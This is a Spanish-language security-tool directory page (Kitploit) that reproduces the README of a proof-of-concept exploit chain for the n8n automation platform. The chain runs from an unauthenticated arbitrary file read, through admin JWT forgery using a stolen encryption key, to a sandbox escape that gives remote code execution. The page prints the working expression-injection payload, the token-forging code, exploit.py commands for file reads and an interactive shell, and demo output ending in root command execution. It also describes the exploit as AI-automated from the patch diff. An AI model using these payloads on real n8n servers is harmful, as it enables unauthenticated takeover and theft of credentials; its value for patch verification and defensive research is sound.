Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-21858 — Prueba de concepto para CVE-2026-21858 | Kitploit
Herramientas/GitHubGitHub/fomovet/cve-2026-21858
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHubfomovet/cve-2026-21858

cve-2026-21858

Prueba de concepto para CVE-2026-21858

Ver Repositorio
17hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-21858 + CVE-2025-68613 - Cadena Completa de n8n

Lectura Arbitraria de Archivos sin Autenticación → Forja de Token de Admin → Bypass de Sandbox → RCE

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (Crítico)
Afectado<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Corregido1.121.0 (AFR) / 1.120.4+ (RCE)
Divulgado2026-01-07 11:09 UTC
Nombre claveNi8mare
CréditoDor Attias (Cyera)
ExploitChocapikk
ProcesoAutomatizado por IA: diff de parche → reproducción → laboratorio → exploit (~9h después de la divulgación)
TipoPrueba de Concepto - NO es un exploit universal (requiere configuración específica del flujo de trabajo, ver Limitaciones)

TL;DR

Cadena RCE completa sin autenticación en n8n:

  1. CVE-2026-21858 - Confusión de Content-Type → Lectura Arbitraria de Archivos
  2. Leer configuración + base de datos → Forjar JWT de admin
  3. CVE-2025-68613 - Inyección de expresiones → bypass de sandbox → RCE

Detección

La exposición se basa en la versión. En términos de exposición, hay instancias vulnerables de n8n accesibles públicamente.

Resultados de LeakIX: Ver instancias expuestas

Resultados de detección de LeakIX

¿Por qué este exploit?

Este exploit fue desarrollado independientemente del artículo de Cyera (descubierto después de su finalización). Diferencias clave:

Cyera (Investigación Original)Este Exploit
Lectura de archivosCargar en base de conocimiento de IA → consultar mediante chatRespuesta HTTP directa
Requisitos previosFlujo de trabajo de chat + integración de IACualquier formulario con carga de archivos
Método RCENodo 'Execute Command' (deshabilitado por defecto)Inyección de expresiones (funciona en instalaciones predeterminadas)
AutomatizaciónDemostración manual/conceptualScript Python completamente automatizado

Ambos enfoques requieren configuraciones específicas del flujo de trabajo. Cyera necesita chat + integración de IA, este exploit necesita un formulario con nodo Respond. Consulte Limitaciones para más detalles.

Cadena de ataque

┌───────────────────────────────────────────────────────────┐
│                     SIN AUTENTICACIÓN                     │
├───────────────────────────────────────────────────────────┤
│  1. Leer /proc/self/environ → Encontrar directorio HOME   │
│  2. Leer $HOME/.n8n/config → Obtener encryptionKey        │
│  3. Leer $HOME/.n8n/database.sqlite → Obtener creds admin │
├───────────────────────────────────────────────────────────┤
│                      FORJA DE TOKEN                       │
├───────────────────────────────────────────────────────────┤
│  4. Derivar secreto JWT desde encryptionKey               │
│  5. Forjar cookie de sesión admin                         │
├───────────────────────────────────────────────────────────┤
│                    RCE AUTENTICADO                        │
├───────────────────────────────────────────────────────────┤
│  6. Crear flujo de trabajo con inyección de expresiones   │
│  7. Bypass de sandbox mediante this.process.mainModule.require │
│  8. Ejecutar comandos arbitrarios                         │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lectura Arbitraria de Archivos mediante Confusión de Content-Type

El Parche

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

El legendario "Merge commit from fork" - cuando ves esto, alguien encontró algo picante. 🌶️

Causa Raíz

// ANTES (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// DESPUÉS (corregido)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Envía Content-Type: application/json → controla filepath → lee cualquier archivo.

CVE-2025-68613 - Inyección de Expresiones RCE

¿Por qué este bypass?

n8n aísla el código de usuario (nodo Code, expresiones) usando vm2/isolated-vm. Otros vectores RCE:

TécnicaEstado
Nodo Execute CommandDeshabilitado por defecto (N8N_ALLOW_EXEC_COMMAND=false)
Nodos SSH/HTTPEjecutan en servidores remotos, no en el host n8n
Escape de sandbox PyodideCVE-2025-68668 - requiere nodo Python Code
Inyección de expresionesCVE-2025-68613 - funciona en instalaciones predeterminadas

Usé Inyección de expresiones porque funciona en cualquier n8n con configuración predeterminada - no requiere nodos especiales ni configuración. El bypass de Pyodide (CVE-2025-68668) requiere el nodo Python Code que puede no estar disponible en todas las instancias.

El Payload

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Las expresiones de n8n tienen acceso a this.process.mainModule.require → escape completo del sandbox.

Forja de Token

# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configuración del Laboratorio

docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

Uso

# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demo

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitaciones

Esto NO es un exploit que "pwn cualquier n8n". Requiere condiciones específicas para funcionar:

RequisitoDescripción
Formulario con carga de archivosEl objetivo debe tener un flujo de trabajo de formulario con un campo de carga de archivos
Nodo Respond to WebhookEl flujo de trabajo debe devolver el contenido del archivo en la respuesta HTTP
Flujo de trabajo activoEl flujo de trabajo del formulario debe estar activado
Acceso sin autenticaciónEl formulario debe ser accesible públicamente (sin autenticación)
Descargar herramienta